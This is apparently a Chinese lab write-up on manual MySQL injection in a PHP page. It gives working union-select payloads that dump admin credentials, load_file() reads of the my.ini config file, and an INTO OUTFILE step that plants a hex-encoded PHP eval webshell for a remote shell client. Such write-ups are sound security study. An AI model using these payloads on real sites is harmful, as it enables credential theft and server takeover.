注入学习(2) Mysql+php 注入点load_file读取配置文件

练习二:mysql手工注入 load_file函数

2019-05-27 10:33:28

目标有3个( 都要求手工):
1.手工注入找出admin用户的密码
2.读取phpstudy中mysql的my.ini配置文件内容
3.通过这个注入点写入webshell

    目标1:手工注入找出admin用户的密码

    • 网页(http://www.***.net/index.php)提示id查询,首先试试index.php?id=1,正常返回数据, 在后面加上and 1=1,and 1=2判断一下是否存在注入
    • 这里降低了难度,不需要闭合语句(一般mysql都需要)
    • order by判断有几个字段 ?id=1 order by n %23 可以试出n=5
    • 联合查询 union select 1,2,3……,n判断显示字段有哪些
    • 查当前数据库
      +union select 1,database(),2,3,4,5 %23

      可以看到当前数据库名为test

    • 查所有数据库
    • union select schema_name,2,3,4,5  from information_schema.schemata

    • 接下来进入test数据库查询表名

    • union select 1,table_name,3,4,5 from information_schema.tables where table_schema='test'

    • 接下来爆admin表的列名

      union select 1,column_name,3,4,5 from information_schema.columns where table_name='admin'

    • 发现username和password字段名,查询值

      union select username,password,3,4,5 from admin

      group_concat()函数的作用是 将相同的行组合起来
      语法:group_concat( [DISTINCT]  要连接的字段   [Order BY 排序字段 ASC/DESC]   [Separator '分隔符'] )
      具体用法需查询,这里并不需要

    目标2:读取phpstudy中mysql的my.ini配置文件内容

    • 这里用到load_file()函数导出文件
      Load_file(file_name):读取文件并返回该文件的内容作为一个字符串

      函数使用时需要满足以下条件:

      • 必须有权限读取并且文件必须完全可读 
         and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
         and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
      • 欲读取文件必须在服务器上 
      • 必须指定文件完整的路径
      • 欲读取文件必须小于 max_allowed_packet
      • 如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,user权限就不能使用load_file读取文件了
    • 注入点是root权限,所以权限满足了,接下来找路径

      • 使用函数
        basedir 该参数指定了安装 MySQL 的安装路径,填写全路径可以解决相对路径所造成的问题
        例如:
        basedir="E:/dev/MySQL/MySQL Server 5.2/"
        则表示我的 MySQL 安装在 E:/dev/MySQL/MySQL Server 5.2/ 路径下
        
        datadir 该参数指定了 MySQL 的数据库文件放在什么路径下。数据库文件即我们常说的 MySQL data 文件
        例如:
        datadir="E:/dev/MySQL/MySQL Server 5.2/Data/"
        则表示我的 MySQL 数据库文件放在 E:/dev/MySQL/MySQL Server 5.2/Data/ 路径下
        union select user(),2,3,@@datadir,@@basedir

        查询出了路径,下面可以进行文件读取了,百度一波,my.ini文件应该是E:\phpstudy\MySQL\data\my.ini 构造语句查询

        union%20select%20load_file(%27E:\\phpstudy\\MySQL\\my.ini%27),2,3,4,5
        ##这里注意,路径里的/需要用\\代替

    目标3:通过这个注入点写入webshell

    •  利用需要满足以下条件:
      • root权限
      • GPC关闭(能使用单引号)
      • 有绝对路径(读文件可以不用,写文件必须)
      • 没有配置—secure-file-priv
        参数secure_file_priv:
        -其中当参数 secure_file_priv 为空时,对导入导出无限制
        -当值为一个指定的目录时,只能向指定的目录导入导出
        -当值被设置为NULL时,禁止导入导出功能
        -这个值可以通过命令 select @@secure_file_priv 查询
    • 不知道插入的路径怎么办?可以看看自己的phpstudy文件夹,也可以构造语句通过报错信息来判断可以访问的文件
      union%20select%200x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,2,3,4,5%20into%20outfile%20%27E:\\phpstudy\\WWW\\sqli-one\\zhong.php%27
      ##这里的一句话木马要转换为十六进制,以0x开头
      ##插入的信息(一句话木马)不加单引号,插入的路径要加‘’)
      ##dumpfile与outfile的区别(详解需百度)
        outfile函数可以导出多行,而dumpfile只能导出一行数据
        outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

    • 可以看到报错信息也提示了路径。刷新页面查询文件是否上传成功,然后用菜刀连就行啦~

    参考引用链接:https://www.cnblogs.com/lcamry/p/5763111.html

      ————感谢卿哥 组长,步履不停

猜你喜欢

转载自www.cnblogs.com/-saber/p/10923618.html